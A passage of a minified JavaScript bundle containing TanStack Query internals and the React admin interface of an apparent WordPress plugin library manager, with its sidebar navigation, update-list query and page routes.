0:i.call(o,r,{queryKey:t.queryKey,meta:t.options.meta,signal:t.signal},n)}:t.fetchFn=r}}}function ug(e,{pages:t,pageParams:n}){const r=t.length-1;return e.getNextPageParam(t[r],t,n[r],n)}function o8(e,{pages:t,pageParams:n}){var r;return(r=e.getPreviousPageParam)==null?void 0:r.call(e,t[0],t,n[0],n)}var Ge,eo,to,is,ss,no,as,ls,Pg,i8=(Pg=class{constructor(e={}){K(this,Ge);K(this,eo);K(this,to);K(this,is);K(this,ss);K(this,no);K(this,as);K(this,ls);F(this,Ge,e.queryCache||new e8),F(this,eo,e.mutationCache||new n8),F(this,to,e.defaultOptions||{}),F(this,is,new Map),F(this,ss,new Map),F(this,no,0)}mount(){Mo(this,no)._++,S(this,no)===1&&(F(this,as,Wp.subscribe(async e=>{e&&(await this.resumePausedMutations(),S(this,Ge).onFocus())})),F(this,ls,sc.subscribe(async e=>{e&&(await this.resumePausedMutations(),S(this,Ge).onOnline())})))}unmount(){var e,t;Mo(this,no)._--,S(this,no)===0&&((e=S(this,as))==null||e.call(this),F(this,as,void 0),(t=S(this,ls))==null||t.call(this),F(this,ls,void 0))}isFetching(e){return S(this,Ge).findAll({...e,fetchStatus:"fetching"}).length}isMutating(e){return S(this,eo).findAll({...e,status:"pending"}).length}getQueryData(e){var n;const t=this.defaultQueryOptions({queryKey:e});return(n=S(this,Ge).get(t.queryHash))==null?void 0:n.state.data}ensureQueryData(e){const t=this.getQueryData(e.queryKey);if(t===void 0)return this.fetchQuery(e);{const n=this.defaultQueryOptions(e),r=S(this,Ge).build(this,n);return e.revalidateIfStale&&r.isStaleByTime(qi(n.staleTime,r))&&this.prefetchQuery(n),Promise.resolve(t)}}getQueriesData(e){return S(this,Ge).findAll(e).map(({queryKey:t,state:n})=>{const r=n.data;return[t,r]})}setQueryData(e,t,n){const r=this.defaultQueryOptions({queryKey:e}),o=S(this,Ge).get(r.queryHash),i=o==null?void 0:o.state.data,s=V3(t,i);if(s!==void 0)return S(this,Ge).build(this,r).setData(s,{...n,manual:!0})}setQueriesData(e,t,n){return at.batch(()=>S(this,Ge).findAll(e).map(({queryKey:r})=>[r,this.setQueryData(r,t,n)]))}getQueryState(e){var n;const t=this.defaultQueryOptions({queryKey:e});return(n=S(this,Ge).get(t.queryHash))==null?void 0:n.state}removeQueries(e){const t=S(this,Ge);at.batch(()=>{t.findAll(e).forEach(n=>{t.remove(n)})})}resetQueries(e,t){const n=S(this,Ge),r={type:"active",...e};return at.batch(()=>(n.findAll(e).forEach(o=>{o.reset()}),this.refetchQueries(r,t)))}cancelQueries(e={},t={}){const n={revert:!0,...t},r=at.batch(()=>S(this,Ge).findAll(e).map(o=>o.cancel(n)));return Promise.all(r).then(fn).catch(fn)}invalidateQueries(e={},t={}){return at.batch(()=>{if(S(this,Ge).findAll(e).forEach(r=>{r.invalidate()}),e.refetchType==="none")return Promise.resolve();const n={...e,type:e.refetchType??e.type??"active"};return this.refetchQueries(n,t)})}refetchQueries(e={},t){const n={...t,cancelRefetch:(t==null?void 0:t.cancelRefetch)??!0},r=at.batch(()=>S(this,Ge).findAll(e).filter(o=>!o.isDisabled()).map(o=>{let i=o.fetch(void 0,n);return n.throwOnError||(i=i.catch(fn)),o.state.fetchStatus==="paused"?Promise.resolve():i}));return Promise.all(r).then(fn)}fetchQuery(e){const t=this.defaultQueryOptions(e);t.retry===void 0&&(t.retry=!1);const n=S(this,Ge).build(this,t);return n.isStaleByTime(qi(t.staleTime,n))?n.fetch(t):Promise.resolve(n.state.data)}prefetchQuery(e){return this.fetchQuery(e).then(fn).catch(fn)}fetchInfiniteQuery(e){return e.behavior=r8(e.pages),this.fetchQuery(e)}prefetchInfiniteQuery(e){return this.fetchInfiniteQuery(e).then(fn).catch(fn)}resumePausedMutations(){return sc.isOnline()?S(this,eo).resumePausedMutations():Promise.resolve()}getQueryCache(){return S(this,Ge)}getMutationCache(){return S(this,eo)}getDefaultOptions(){return S(this,to)}setDefaultOptions(e){F(this,to,e)}setQueryDefaults(e,t){S(this,is).set(li(e),{queryKey:e,defaultOptions:t})}getQueryDefaults(e){const t=[...S(this,is).values()];let n={};return t.forEach(r=>{Ya(e,r.queryKey)&&(n={...n,...r.defaultOptions})}),n}setMutationDefaults(e,t){S(this,ss).set(li(e),{mutationKey:e,defaultOptions:t})}getMutationDefaults(e){const t=[...S(this,ss).values()];let n={};return t.forEach(r=>{Ya(e,r.mutationKey)&&(n={...n,...r.defaultOptions})}),n}defaultQueryOptions(e){if(e._defaulted)return e;const t={...S(this,to).queries,...this.getQueryDefaults(e.queryKey),...e,_defaulted:!0};return t.queryHash||(t.queryHash=Hp(t.queryKey,t)),t.refetchOnReconnect===void 0&&(t.refetchOnReconnect=t.networkMode!=="always"),t.throwOnError===void 0&&(t.throwOnError=!!t.suspense),!t.networkMode&&t.persister&&(t.networkMode="offlineFirst"),t.enabled!==!0&&t.queryFn===Px&&(t.enabled=!1),t}defaultMutationOptions(e){return e!=null&&e._defaulted?e:{...S(this,to).mutations,...(e==null?void 0:e.mutationKey)&&this.getMutationDefaults(e.mutationKey),...e,_defaulted:!0}}clear(){S(this,Ge).clear(),S(this,eo).clear()}},Ge=new WeakMap,eo=new WeakMap,to=new WeakMap,is=new WeakMap,ss=new WeakMap,no=new WeakMap,as=new WeakMap,ls=new WeakMap,Pg),zt,xe,fl,Pt,Yo,us,Kn,hl,cs,ds,Go,qo,ro,fs,Te,pa,Gf,qf,Xf,Jf,eh,th,nh,jx,Tg,s8=(Tg=class extends Hs{constructor(t,n){super();K(this,Te);K(this,zt);K(this,xe);K(this,fl);K(this,Pt);K(this,Yo);K(this,us);K(this,Kn);K(this,hl);K(this,cs);K(this,ds);K(this,Go);K(this,qo);K(this,ro);K(this,fs,new Set);this.options=n,F(this,zt,t),F(this,Kn,null),this.bindMethods(),this.setOptions(n)}bindMethods(){this.refetch=this.refetch.bind(this)}onSubscribe(){this.listeners.size===1&&(S(this,xe).addObserver(this),cg(S(this,xe),this.options)?te(this,Te,pa).call(this):this.updateResult(),te(this,Te,Jf).call(this))}onUnsubscribe(){this.hasListeners()||this.destroy()}shouldFetchOnReconnect(){return rh(S(this,xe),this.options,this.options.refetchOnReconnect)}shouldFetchOnWindowFocus(){return rh(S(this,xe),this.options,this.options.refetchOnWindowFocus)}destroy(){this.listeners=new Set,te(this,Te,eh).call(this),te(this,Te,th).call(this),S(this,xe).removeObserver(this)}setOptions(t,n){const r=this.options,o=S(this,xe);if(this.options=S(this,zt).defaultQueryOptions(t),this.options.enabled!==void 0&&typeof this.options.enabled!="boolean"&&typeof this.options.enabled!="function"&&typeof Nn(this.options.enabled,S(this,xe))!="boolean")throw new Error("Expected enabled to be a boolean or a callback that returns a boolean");te(this,Te,nh).call(this),S(this,xe).setOptions(this.options),r._defaulted&&!ic(this.options,r)&&S(this,zt).getQueryCache().notify({type:"observerOptionsUpdated",query:S(this,xe),observer:this});const i=this.hasListeners();i&&dg(S(this,xe),o,this.options,r)&&te(this,Te,pa).call(this),this.updateResult(n),i&&(S(this,xe)!==o||Nn(this.options.enabled,S(this,xe))!==Nn(r.enabled,S(this,xe))||qi(this.options.staleTime,S(this,xe))!==qi(r.staleTime,S(this,xe)))&&te(this,Te,Gf).call(this);const s=te(this,Te,qf).call(this);i&&(S(this,xe)!==o||Nn(this.options.enabled,S(this,xe))!==Nn(r.enabled,S(this,xe))||s!==S(this,ro))&&te(this,Te,Xf).call(this,s)}getOptimisticResult(t){const n=S(this,zt).getQueryCache().build(S(this,zt),t),r=this.createResult(n,t);return l8(this,r)&&(F(this,Pt,r),F(this,us,this.options),F(this,Yo,S(this,xe).state)),r}getCurrentResult(){return S(this,Pt)}trackResult(t,n){const r={};return Object.keys(t).forEach(o=>{Object.defineProperty(r,o,{configurable:!1,enumerable:!0,get:()=>(this.trackProp(o),n==null||n(o),t[o])})}),r}trackProp(t){S(this,fs).add(t)}getCurrentQuery(){return S(this,xe)}refetch({...t}={}){return this.fetch({...t})}fetchOptimistic(t){const n=S(this,zt).defaultQueryOptions(t),r=S(this,zt).getQueryCache().build(S(this,zt),n);return r.isFetchingOptimistic=!0,r.fetch().then(()=>this.createResult(r,n))}fetch(t){return te(this,Te,pa).call(this,{...t,cancelRefetch:t.cancelRefetch??!0}).then(()=>(this.updateResult(),S(this,Pt)))}createResult(t,n){var P;const r=S(this,xe),o=this.options,i=S(this,Pt),s=S(this,Yo),a=S(this,us),u=t!==r?t.state:S(this,fl),{state:c}=t;let f={...c},d=!1,m;if(n._optimisticResults){const T=this.hasListeners(),O=!T&&cg(t,n),M=T&&dg(t,r,n,o);(O||M)&&(f={...f,...Mx(c.data,t.options)}),n._optimisticResults==="isRestoring"&&(f.fetchStatus="idle")}let{error:w,errorUpdatedAt:g,status:x}=f;if(n.select&&f.data!==void 0)if(i&&f.data===(s==null?void 0:s.data)&&n.select===S(this,hl))m=S(this,cs);else try{F(this,hl,n.select),m=n.select(f.data),m=Yf(i==null?void 0:i.data,m,n),F(this,cs,m),F(this,Kn,null)}catch(T){F(this,Kn,T)}else m=f.data;if(n.placeholderData!==void 0&&m===void 0&&x==="pending"){let T;if(i!=null&&i.isPlaceholderData&&n.placeholderData===(a==null?void 0:a.placeholderData))T=i.data;else if(T=typeof n.placeholderData=="function"?n.placeholderData((P=S(this,ds))==null?void 0:P.state.data,S(this,ds)):n.placeholderData,n.select&&T!==void 0)try{T=n.select(T),F(this,Kn,null)}catch(O){F(this,Kn,O)}T!==void 0&&(x="success",m=Yf(i==null?void 0:i.data,T,n),d=!0)}S(this,Kn)&&(w=S(this,Kn),m=S(this,cs),g=Date.now(),x="error");const v=f.fetchStatus==="fetching",p=x==="pending",y=x==="error",C=p&&v,_=m!==void 0;return{status:x,fetchStatus:f.fetchStatus,isPending:p,isSuccess:x==="success",isError:y,isInitialLoading:C,isLoading:C,data:m,dataUpdatedAt:f.dataUpdatedAt,error:w,errorUpdatedAt:g,failureCount:f.fetchFailureCount,failureReason:f.fetchFailureReason,errorUpdateCount:f.errorUpdateCount,isFetched:f.dataUpdateCount>0||f.errorUpdateCount>0,isFetchedAfterMount:f.dataUpdateCount>u.dataUpdateCount||f.errorUpdateCount>u.errorUpdateCount,isFetching:v,isRefetching:v&&!p,isLoadingError:y&&!_,isPaused:f.fetchStatus==="paused",isPlaceholderData:d,isRefetchError:y&&_,isStale:Zp(t,n),refetch:this.refetch}}updateResult(t){const n=S(this,Pt),r=this.createResult(S(this,xe),this.options);if(F(this,Yo,S(this,xe).state),F(this,us,this.options),S(this,Yo).data!==void 0&&F(this,ds,S(this,xe)),ic(r,n))return;F(this,Pt,r);const o={},i=()=>{if(!n)return!0;const{notifyOnChangeProps:s}=this.options,a=typeof s=="function"?s():s;if(a==="all"||!a&&!S(this,fs).size)return!0;const l=new Set(a??S(this,fs));return this.options.throwOnError&&l.add("error"),Object.keys(S(this,Pt)).some(u=>{const c=u;return S(this,Pt)[c]!==n[c]&&l.has(c)})};(t==null?void 0:t.listeners)!==!1&&i()&&(o.listeners=!0),te(this,Te,jx).call(this,{...o,...t})}onQueryUpdate(){this.updateResult(),this.hasListeners()&&te(this,Te,Jf).call(this)}},zt=new WeakMap,xe=new WeakMap,fl=new WeakMap,Pt=new WeakMap,Yo=new WeakMap,us=new WeakMap,Kn=new WeakMap,hl=new WeakMap,cs=new WeakMap,ds=new WeakMap,Go=new WeakMap,qo=new WeakMap,ro=new WeakMap,fs=new WeakMap,Te=new WeakSet,pa=function(t){te(this,Te,nh).call(this);let n=S(this,xe).fetch(this.options,t);return t!=null&&t.throwOnError||(n=n.catch(fn)),n},Gf=function(){te(this,Te,eh).call(this);const t=qi(this.options.staleTime,S(this,xe));if(Os||S(this,Pt).isStale||!Qf(t))return;const r=kx(S(this,Pt).dataUpdatedAt,t)+1;F(this,Go,setTimeout(()=>{S(this,Pt).isStale||this.updateResult()},r))},qf=function(){return(typeof this.options.refetchInterval=="function"?this.options.refetchInterval(S(this,xe)):this.options.refetchInterval)??!1},Xf=function(t){te(this,Te,th).call(this),F(this,ro,t),!(Os||Nn(this.options.enabled,S(this,xe))===!1||!Qf(S(this,ro))||S(this,ro)===0)&&F(this,qo,setInterval(()=>{(this.options.refetchIntervalInBackground||Wp.isFocused())&&te(this,Te,pa).call(this)},S(this,ro)))},Jf=function(){te(this,Te,Gf).call(this),te(this,Te,Xf).call(this,te(this,Te,qf).call(this))},eh=function(){S(this,Go)&&(clearTimeout(S(this,Go)),F(this,Go,void 0))},th=function(){S(this,qo)&&(clearInterval(S(this,qo)),F(this,qo,void 0))},nh=function(){const t=S(this,zt).getQueryCache().build(S(this,zt),this.options);if(t===S(this,xe))return;const n=S(this,xe);F(this,xe,t),F(this,fl,t.state),this.hasListeners()&&(n==null||n.removeObserver(this),t.addObserver(this))},jx=function(t){at.batch(()=>{t.listeners&&this.listeners.forEach(n=>{n(S(this,Pt))}),S(this,zt).getQueryCache().notify({query:S(this,xe),type:"observerResultsUpdated"})})},Tg);function a8(e,t){return Nn(t.enabled,e)!==!1&&e.state.data===void 0&&!(e.state.status==="error"&&t.retryOnMount===!1)}function cg(e,t){return a8(e,t)||e.state.data!==void 0&&rh(e,t,t.refetchOnMount)}function rh(e,t,n){if(Nn(t.enabled,e)!==!1){const r=typeof n=="function"?n(e):n;return r==="always"||r!==!1&&Zp(e,t)}return!1}function dg(e,t,n,r){return(e!==t||Nn(r.enabled,e)===!1)&&(!n.suspense||e.state.status!=="error")&&Zp(e,n)}function Zp(e,t){return Nn(t.enabled,e)!==!1&&e.isStaleByTime(qi(t.staleTime,e))}function l8(e,t){return!ic(e.getCurrentResult(),t)}var oo,io,Ft,mr,br,bu,oh,Ng,u8=(Ng=class extends Hs{constructor(n,r){super();K(this,br);K(this,oo);K(this,io);K(this,Ft);K(this,mr);F(this,oo,n),this.setOptions(r),this.bindMethods(),te(this,br,bu).call(this)}bindMethods(){this.mutate=this.mutate.bind(this),this.reset=this.reset.bind(this)}setOptions(n){var o;const r=this.options;this.options=S(this,oo).defaultMutationOptions(n),ic(this.options,r)||S(this,oo).getMutationCache().notify({type:"observerOptionsUpdated",mutation:S(this,Ft),observer:this}),r!=null&&r.mutationKey&&this.options.mutationKey&&li(r.mutationKey)!==li(this.options.mutationKey)?this.reset():((o=S(this,Ft))==null?void 0:o.state.status)==="pending"&&S(this,Ft).setOptions(this.options)}onUnsubscribe(){var n;this.hasListeners()||(n=S(this,Ft))==null||n.removeObserver(this)}onMutationUpdate(n){te(this,br,bu).call(this),te(this,br,oh).call(this,n)}getCurrentResult(){return S(this,io)}reset(){var n;(n=S(this,Ft))==null||n.removeObserver(this),F(this,Ft,void 0),te(this,br,bu).call(this),te(this,br,oh).call(this)}mutate(n,r){var o;return F(this,mr,r),(o=S(this,Ft))==null||o.removeObserver(this),F(this,Ft,S(this,oo).getMutationCache().build(S(this,oo),this.options)),S(this,Ft).addObserver(this),S(this,Ft).execute(n)}},oo=new WeakMap,io=new WeakMap,Ft=new WeakMap,mr=new WeakMap,br=new WeakSet,bu=function(){var r;const n=((r=S(this,Ft))==null?void 0:r.state)??Dx();F(this,io,{...n,isPending:n.status==="pending",isSuccess:n.status==="success",isError:n.status==="error",isIdle:n.status==="idle",mutate:this.mutate,reset:this.reset})},oh=function(n){at.batch(()=>{var r,o,i,s,a,l,u,c;if(S(this,mr)&&this.hasListeners()){const f=S(this,io).variables,d=S(this,io).context;(n==null?void 0:n.type)==="success"?((o=(r=S(this,mr)).onSuccess)==null||o.call(r,n.data,f,d),(s=(i=S(this,mr)).onSettled)==null||s.call(i,n.data,null,f,d)):(n==null?void 0:n.type)==="error"&&((l=(a=S(this,mr)).onError)==null||l.call(a,n.error,f,d),(c=(u=S(this,mr)).onSettled)==null||c.call(u,void 0,n.error,f,d))}this.listeners.forEach(f=>{f(S(this,io))})})},Ng),Ix=h.createContext(void 0),Qp=e=>{const t=h.useContext(Ix);if(!t)throw new Error("No QueryClient set, use QueryClientProvider to set one");return t},c8=({client:e,children:t})=>(h.useEffect(()=>(e.mount(),()=>{e.unmount()}),[e]),E.jsx(Ix.Provider,{value:e,children:t})),zx=h.createContext(!1),d8=()=>h.useContext(zx);zx.Provider;function f8(){let e=!1;return{clearReset:()=>{e=!1},reset:()=>{e=!0},isReset:()=>e}}var h8=h.createContext(f8()),p8=()=>h.useContext(h8);function Fx(e,t){return typeof e=="function"?e(...t):!!e}function m8(){}var v8=(e,t)=>{(e.suspense||e.throwOnError)&&(t.isReset()||(e.retryOnMount=!1))},g8=e=>{h.useEffect(()=>{e.clearReset()},[e])},y8=({result:e,errorResetBoundary:t,throwOnError:n,query:r})=>e.isError&&!t.isReset()&&!e.isFetching&&r&&Fx(n,[e.error,r]),w8=e=>{e.suspense&&typeof e.staleTime!="number"&&(e.staleTime=1e3)},x8=(e,t)=>(e==null?void 0:e.suspense)&&t.isPending,b8=(e,t,n)=>t.fetchOptimistic(e).catch(()=>{n.clearReset()});function C8(e,t,n){const r=Qp(),o=d8(),i=p8(),s=r.defaultQueryOptions(e);s._optimisticResults=o?"isRestoring":"optimistic",w8(s),v8(s,i),g8(i);const[a]=h.useState(()=>new t(r,s)),l=a.getOptimisticResult(s);if(h.useSyncExternalStore(h.useCallback(u=>{const c=o?()=>{}:a.subscribe(at.batchCalls(u));return a.updateResult(),c},[a,o]),()=>a.getCurrentResult(),()=>a.getCurrentResult()),h.useEffect(()=>{a.setOptions(s,{listeners:!1})},[s,a]),x8(s,l))throw b8(s,a,i);if(y8({result:l,errorResetBoundary:i,throwOnError:s.throwOnError,query:r.getQueryCache().get(s.queryHash)}))throw l.error;return s.notifyOnChangeProps?l:a.trackResult(l)}function S8(e,t){return C8(e,s8)}function E8(e,t){const n=Qp(),[r]=h.useState(()=>new u8(n,e));h.useEffect(()=>{r.setOptions(e)},[r,e]);const o=h.useSyncExternalStore(h.useCallback(s=>r.subscribe(at.batchCalls(s)),[r]),()=>r.getCurrentResult(),()=>r.getCurrentResult()),i=h.useCallback((s,a)=>{r.mutate(s,a).catch(m8)},[r]);if(o.error&&Fx(r.options.throwOnError,[o.error]))throw o.error;return{...o,mutate:i,mutateAsync:o.mutate}}function _8(e,t,n=!0){return S8({queryKey:[e,t].filter(o=>o),queryFn:()=>wp.apiFetch({path:`${cp.slug}/v1/${e}`,method:"POST",data:t}),placeholderData:W3,enabled:n})}function $x(){const{data:e,isFetched:t,isLoading:n}=_8("update/list"),r=Qp(),o=h.useMemo(()=>{var s;return(s=e==null?void 0:e.data)==null?void 0:s.filter(a=>B3(a.version,a.installed_version??"","gt")===!0)},[e]),i=()=>{r.invalidateQueries({queryKey:["update/list"]}),r.invalidateQueries({queryKey:["item/detail"]}),r.invalidateQueries({queryKey:["history/list"]})};return{list:e==null?void 0:e.data,isLoading:n,isFetched:t,updateable:o,clearCache:i}}const Cu={discover:"discover",library:"library",settings:"settings"},k8=[{id:"back-dashboard",label:be("WP Dashboard"),showLabel:!1,items:[{label:be("WP Dashboard"),icon:NS,href:"index.php",as:"a"}]},{id:Cu.discover,label:be("Discover"),showLabel:!0,items:[{label:be("Home"),icon:DS,href:"/"},{label:be("Browse"),icon:AS,href:"/browse"},{label:be("Most Polular"),icon:BS,href:"/popular"}]},{id:Cu.library,label:be("Library"),showLabel:!0,items:[{label:be("Themes"),icon:US,href:"/item/wordpress-themes"},{label:be("Plugins"),icon:ZS,href:"/item/wordpress-plugins"},{label:be("Elementor Kits"),icon:OS,href:"/item/elementor-template-kits"},{label:be("Requests"),icon:jS,href:"/requests"},{label:be("Collections"),icon:MS,href:"/collections"},{label:be("Updates"),icon:VS,href:"/updates",notice:()=>{const{updateable:e}=$x();if(e&&e.length>0)return E.jsx(U3,{variant:"success",size:"sm",children:e.length})}},{label:be("History"),icon:zS,href:"/history"}]},{id:Cu.settings,label:be("Settings"),showLabel:!0,items:[{label:be("License Activation"),icon:WS,href:"/activation"},{label:be("Settings"),icon:HS,href:"/settings"},{label:be("Need Help?"),icon:IS,href:"/need-help"}]}];function R8({removeIds:e=[],includedIds:t=[]}){let n=Ux.navigation;return t.length&&(n=n.filter(r=>t.includes(r.id))),e.length&&(n=n.filter(r=>!e.includes(r.id))),n}const Ux={navIds:Cu,navigation:k8,filteredNavItems:R8};function ih({active:e,disabled:t,className:n,...r}){return Ze(r1({variant:e?"secondary":"ghost",size:r.size,...r}),"flex h-8 w-full items-center justify-start gap-3 px-3",t&&"pointer-events-none opacity-50",n)}function P8({sidebarNavIncludeIds:e,sidebarNavRemoveIds:t}){const{pathname:r}=Lr(),o=Ux.filteredNavItems({removeIds:t,includedIds:e});return E.jsx(z3,{disableHoverableContent:!0,delayDuration:0,children:E.jsx("nav",{children:o.map((i,s)=>E.jsxs("div",{children:[i.showLabel&&E.jsx("h3",{className:"mb-2 px-2 pt-3 text-xs font-semibold uppercase text-muted-foreground",children:i.label}),E.jsx("ul",{className:"flex flex-col gap-1",children:i.items.map(a=>E.jsx("li",{children:a.subMenu?E.jsx(ok,{type:"single",collapsible:!0,defaultValue:a.subMenu.find(l=>Ed(r,l.href))?a.label:void 0,children:E.jsxs(Zw,{value:a.label,children:[E.jsxs(jd,{children:[E.jsx(Id,{asChild:!0,children:E.jsx(Qw,{className:ih({className:"justify-between"}),children:E.jsxs("div",{className:"flex items-center justify-start gap-3 ",children:[E.jsx(a.icon,{className:Ze("flex-shrink-0","h-4 w-4 ")}),E.jsx("span",{className:"truncate",children:a.label})]})})}),!1]}),E.jsxs(Kw,{className:Ze(" flex flex-col gap-1 pt-1","relative pl-7 pr-0"),children:[a.subMenu.map(l=>E.jsxs(jd,{children:[E.jsx(Id,{className:"h-full w-full",children:E.jsx(fg,{...l,active:Ed(r,l.href),isCollapsed:!1})}),!1]},l.label)),E.jsx(Bf,{orientation:"vertical",className:"absolute bottom-2 left-5 right-auto"})]})]})}):E.jsxs(jd,{children:[E.jsx(Id,{className:"h-full w-full",children:E.jsx(fg,{...a,active:Ed(r,a.href),isCollapsed:!1})}),!1]})},a.label))}),s!==o.length-1&&E.jsx(Bf,{className:"my-2"})]},i.id))})})}function fg({href:e,as:t="link",label:n,icon:r,disabled:o,active:i,size:s="default",isCollapsed:a,external:l,notice:u}){const c=(e==null?void 0:e.startsWith("http"))??l,f=c?"_blank":"_self",d=E.jsxs(E.Fragment,{children:[E.jsx(r,{className:Ze("flex-shrink-0",a?"h-5 w-5":"h-4 w-4 ")}),!a&&E.jsx("span",{className:"flex-grow truncate text-left",children:n}),c&&E.jsx("span",{className:"text-muted-foreground",children:E.jsx(LS,{className:"ml-2 h-3 w-3"})}),u&&E.jsx(u,{})]});return t=="link"?E.jsx(Rw,{to:e??"",className:ih({active:i,disabled:o,size:s}),target:f,rel:"noreferrer",children:d}):E.jsx("a",{href:e,className:ih({active:i,disabled:o,size:s}),target:f,rel:"noreferrer",children:d})}function Bx({sidebarNavIncludeIds:e,sidebarNavRemoveIds:t,showLogo:n=!0}){const{effectiveTheme:r}=ow();return E.jsxs("aside",{className:"h-full w-full",children:[n&&E.jsx("div",{className:"items-center justify-between py-4",children:E.jsx(Rw,{to:"/",className:"z-10",children:E.jsx("img",{src:wp.i18n.sprintf(window.vault.logo,r),className:"w-auto"})})}),E.jsx(nw,{style:{height:"calc(100vh - 10.5rem)"},children:E.jsxs("div",{className:"h-full w-full py-2 pb-10",children:[E.jsx(P8,{sidebarNavIncludeIds:e,sidebarNavRemoveIds:t}),E.jsx(Sp,{orientation:"vertical"})]})})]})}function T8({sidebarNavIncludeIds:e,sidebarNavRemoveIds:t}){return E.jsxs(I_,{children:[E.jsx(z_,{asChild:!0,children:E.jsxs(o1,{variant:"outline",size:"iconSmall",children:[E.jsx($S,{className:"h-4 w-4"}),E.jsx("p",{className:"sr-only",children:be("Open menu")})]})}),E.jsx(U1,{side:"left",className:"px-3 pb-20 pt-10",children:E.jsx(Bx,{showLogo:!1,sidebarNavIncludeIds:e,sidebarNavRemoveIds:t})})]})}function N8({sidebarNavIncludeIds:e,sidebarNavRemoveIds:t}){return E.jsxs("header",{className:"flex h-14 items-center gap-4",children:[E.jsx(T8,{sidebarNavIncludeIds:e,sidebarNavRemoveIds:t}),E.jsx(J0.logo,{hideTextOnMobile:!1})]})}function O8({sideNavIncludedIds:e,sideNavRemoveIds:t}){return m4(),E.jsxs("div",{className:"container flex items-start gap-8",children:[E.jsx("div",{className:"sticky left-0 top-0 hidden h-screen w-52 flex-shrink-0 lg:block xl:w-60 ",children:E.jsx(Bx,{sidebarNavIncludeIds:e,sidebarNavRemoveIds:t})}),E.jsxs("section",{className:"min-h-screen w-full flex-grow",children:[E.jsx("div",{className:"sticky left-0 right-0 top-0 z-50 block border-b border-border bg-background lg:hidden",children:E.jsx(N8,{sidebarNavIncludeIds:e,sidebarNavRemoveIds:t})}),E.jsx(Ew,{})]})]})}function L8(){return E.jsx(O8,{})}function A8(){const e=Ic(),t=Lr();function n(){t.key!=="default"?e(-1):e("/")}return E.jsxs("main",{className:"flex h-screen w-full flex-col items-center justify-center bg-[#1A2238]",children:[E.jsx("h1",{className:"text-9xl font-extrabold tracking-widest text-white",children:be("OOPS!")}),E.jsx("div",{className:"absolute rotate-12 rounded bg-[#FF6A3D] px-2 text-sm",children:be("Something Went Wrong")}),E.jsx("button",{className:"mt-5",children:E.jsxs("a",{className:"group relative inline-block text-sm font-medium text-[#FF6A3D] focus:outline-none focus:ring active:text-orange-500",onClick:n,children:[E.jsx("span",{className:"absolute inset-0 translate-x-0.5 translate-y-0.5 bg-[#FF6A3D] transition-transform group-hover:translate-x-0 group-hover:translate-y-0"}),E.jsx("span",{className:"relative block border border-current bg-[#1A2238] px-8 py-3",children:be("Go Back")})]})})]})}const M8=Object.freeze(Object.defineProperty({__proto__:null,Catch:A8,default:L8},Symbol.toStringTag,{value:"Module"}));var Kr={route:[/^.*\/src\/pages\/|\.(jsx|tsx|mdx)$/g,""],splat:[/\[\.{3}\w+\]/g,"*"],param:[/\[([^\]]+)\]/g,":$1"],slash:[/^index$|\./g,"/"],optional:[/^-(:?[\w-]+|\*)/,"$1?"]},D8=e=>Object.keys(e).reduce((t,n)=>{const r=n.replace(...Kr.route);return{...t,[r]:e[n]}},{}),j8=(e,t)=>Object.keys(e).filter(r=>!r.includes("/_")||/_layout\.(jsx|tsx)$/.test(r)).reduce((r,o)=>{const i=e[o],s={id:o.replace(...Kr.route),...t(i,o)},a=o.replace(...Kr.route).replace(...Kr.splat).replace(...Kr.param).split("/").filter(Boolean);return a.reduce((l,u,c)=>{var p;const f=u.replace(...Kr.slash).replace(...Kr.optional),d=c===0,m=c===a.length-1&&a.length>1,w=!d&&!m,g=u==="_layout",x=/\([\w-]+\)/.test(f),v=/^\w|\//.test(f)?"unshift":"push";if(d&&a.length===1)return r.push({path:f,...s}),l;if(d||w){const y=d?r:l.children,C=y==null?void 0:y.find(b=>{var P;return b.path===f||((P=b.id)==null?void 0:P.replace("/_layout","").endsWith(f))}),_=x?s!=null&&s.component?{id:f,path:"/"}:{id:f}:{path:f};return C?C.children??(C.children=[]):y==null||y[v]({..._,children:[]}),C||(y==null?void 0:y[v==="unshift"?0:y.length-1])}return g?Object.assign(l,s):(m&&((p=l==null?void 0:l.children)==null||p[v](s!=null&&s.index?s:{path:f,...s})),l)},{}),r},[]),I8=e=>Object.keys(e).reduce((t,n)=>{var o;const r=n.replace(...Kr.route).replace(/\+|\([\w-]+\)\//g,"").replace(/(\/)?index/g,"").replace(/\./g,"/");return{...t,[`/${r}`]:(o=e[n])==null?void 0:o.default}},{}),z8=Object.assign({"/src/pages/404.tsx":QC,"/src/pages/_app.tsx":M8}),F8=Object.assign({}),$8=Object.assign({"/src/pages/activation/index.tsx":()=>En(()=>import("./BZSVVDgF.431dca.js"),[]),"/src/pages/browse/index.tsx":()=>En(()=>import("./CB934eNO.431dca.js"),[]),"/src/pages/collections/index.tsx":()=>En(()=>import("./BBgA08wS.431dca.js"),[]),"/src/pages/history/-[page].tsx":()=>En(()=>import("./BsX6gxnK.431dca.js"),[]),"/src/pages/index.tsx":()=>En(()=>import("./C4CUPn9I.431dca.js"),[]),"/src/pages/item/[type]/-[page]/index.tsx":()=>En(()=>import("./BPgldSpW.431dca.js"),[]),"/src/pages/item/[type]/detail/[id]/-[tab].tsx":()=>En(()=>import("./BqjkRCLr.431dca.js"),[]),"/src/pages/popular/index.tsx":()=>En(()=>import("./CkTXGhOJ.431dca.js"),[]),"/src/pages/requests/index.tsx":()=>En(()=>import("./DKOfePY9.431dca.js"),[]),"/src/pages/settings/index.tsx":()=>En(()=>import("./By2xKoFQ.431dca.js"),[]),"/src/pages/updates/index.tsx":()=>En(()=>import("./CVlhe7z3.431dca.js"),[])}),Xi=D8(z8),U8=I8(F8),B8=j8($8,(e,t)=>({.../index\.(jsx|tsx|mdx)$/.test(t)&&!t.includes("pages/index")?{index:!0}:{},lazy:async()=>{var s,a,l,u,c;const r=((s=await e())==null?void 0:s.default)||h.Fragment,o=(a=await e())==null?void 0:a.Pending;return{Component:()=>o?E.jsx(h.Suspense,{fallback:E.jsx(o,{}),children:E.jsx(r,{})}):E.jsx(r,{}),ErrorBoundary:(l=await e())==null?void 0:l.Catch,loader:(u=await e())==null?void 0:u.Loader,action:(c=await e())==null?void 0:c.Action}}})),Ct=Xi==null?void 0:Xi._app,Fd=Xi==null?void 0:Xi["404"],V8=(Ct==null?void 0:Ct.default)||Ew,H8=()=>{var t;const e=U8[(t=Lr().state)==null?void 0:t.modal]||h.Fragment;return E.jsx(e,{})},sh=()=>E.jsxs(E.Fragment,{children:[E.jsx(V8,{})," 